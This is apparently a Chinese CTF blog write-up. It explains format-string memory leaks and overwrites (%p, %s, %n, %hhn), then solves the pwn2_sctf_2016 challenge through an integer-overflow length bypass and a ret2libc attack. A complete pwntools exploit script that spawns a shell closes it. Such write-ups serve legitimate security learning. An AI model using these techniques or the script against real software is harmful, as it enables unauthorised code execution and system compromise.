%d : 十进制 - 输出十进制整数

%s : 字符串 - 从内存中读取字符串

%x : 十六进制 - 输出十六进制数

%c : 字符 - 输出字符

%p : 指针 - 指针地址

%n : 到目前为止所写的字符数

二、泄露内存

  • 泄露任意内存地址在这里一般是为了寻找偏移量,这里在[第五空间2019第五主题]PWN5中已经做过三种方法的介绍。

  • 在这里根据dota爷的blog,补充一下泄露内存的小结

  1. 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
  2. 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
  3. 利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容。

三、覆盖内存

  • 覆盖栈内存

覆盖栈内存我们常用%n,只要变量对应地址可写,我们就可以通过格式化字符串来改变其对应的值

利用步骤如下:

1、确定覆盖地址
2、确定相对偏移

3、进行覆盖

  • 覆盖任意内存的地址

    • 覆盖小数字

      image-20220318194951660

    • 覆盖大数字

      一次性输出大数字字节来进行覆盖,这样基本不会成功,因为太长了,所以我们需要另辟蹊径。首先我们需要了解一下变量在内存中的存储格式:

      首先,所有的变量在内存中都是以字节进行存储的。
      此外,在 x86 和 x64 的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678 在内存中由低地址到高地址依次为 \ x78\x56\x34\x12。

      所以我们想要覆盖成0x12345678,需要依次为\x78\x56\x34\x12

      接下来我们需要利用到以下字符串格式标志

      1
      2
      3
      4
      hhn : 写入一字节
      hn : 写入两字节
      l : 写入四节写
      ll : 写入八字节

      也就是我们需要使用 hhn 一个字节来逐次写入,再配合%nx会返回16进制数来构造exp

      image-20220318195045226


pwn2_sctf_2016

checksec

image-20220319111823316

只开了NX

image-20220319111936162

main函数啥也没有,跳进了vuil()函数

image-20220319112019240

查看一下get_n()

image-20220319112255724

可以发现,与上面的libc不同,出题人自定义了一个输入函数。

查看字符串

image-20220319112514420

没有systembninsh,大概率是libc了,但是我们发现vuin()函数中存在着一层判断,使我们无法填进足够长的数据进行栈溢出。

而前文中的自定义输入函数get_n(),就在这时起到了作用get_n,它接受了a2个长度的字符串并放到vuln函数的缓冲区内部,但是a2传入的值类型是unsigned int,而前面判断长度的类型是int,可以规避长度限制。也就是说我们这边可以输入负数来达到溢出的效果,这即是我们前面遇到过的整数溢出

思路:

  • 输入负数,整数溢出
  • 利用printf()实现libc
  • 覆盖返回地址并执行system('/bin/sh')

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSeacher import *

io = process('./pwn2_sctf_2016')
elf = ELF('./pwn2_sctf_2016')

# 第一步
io.recvuntil('How many bytes do you want me to read?')
io.sendline('-1')

# 第二步
main_addr = elf.sym['main']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']

payload_1 = b'a' * (0x2c + 4) + p32(printf_plt) + p32(main_addr) + p32(printf_got)

io.recvuntil('\n')
io.sendline(payload_1)
io.recvuntil('\n')

# 第三步
printf_addr = u32(io.recv(4))
libc = LibcSeacher('printf', printf_addr)

base = printf_addr - libc. dump('printf')
system_addr = base + libc.dump('system')
binsh_addr = base + libc.dump('str_bin_sh')

payload_2 = b'a' * (0x2c + 4) + p32(system_addr) + p32(main_addr) + p32(binsh_addr)

io.recvuntil('How many bytes do you want me to read?')
io.sendline('-1')
io.recvuntil('\n')
io.sendline(payload_2)

io.interactive()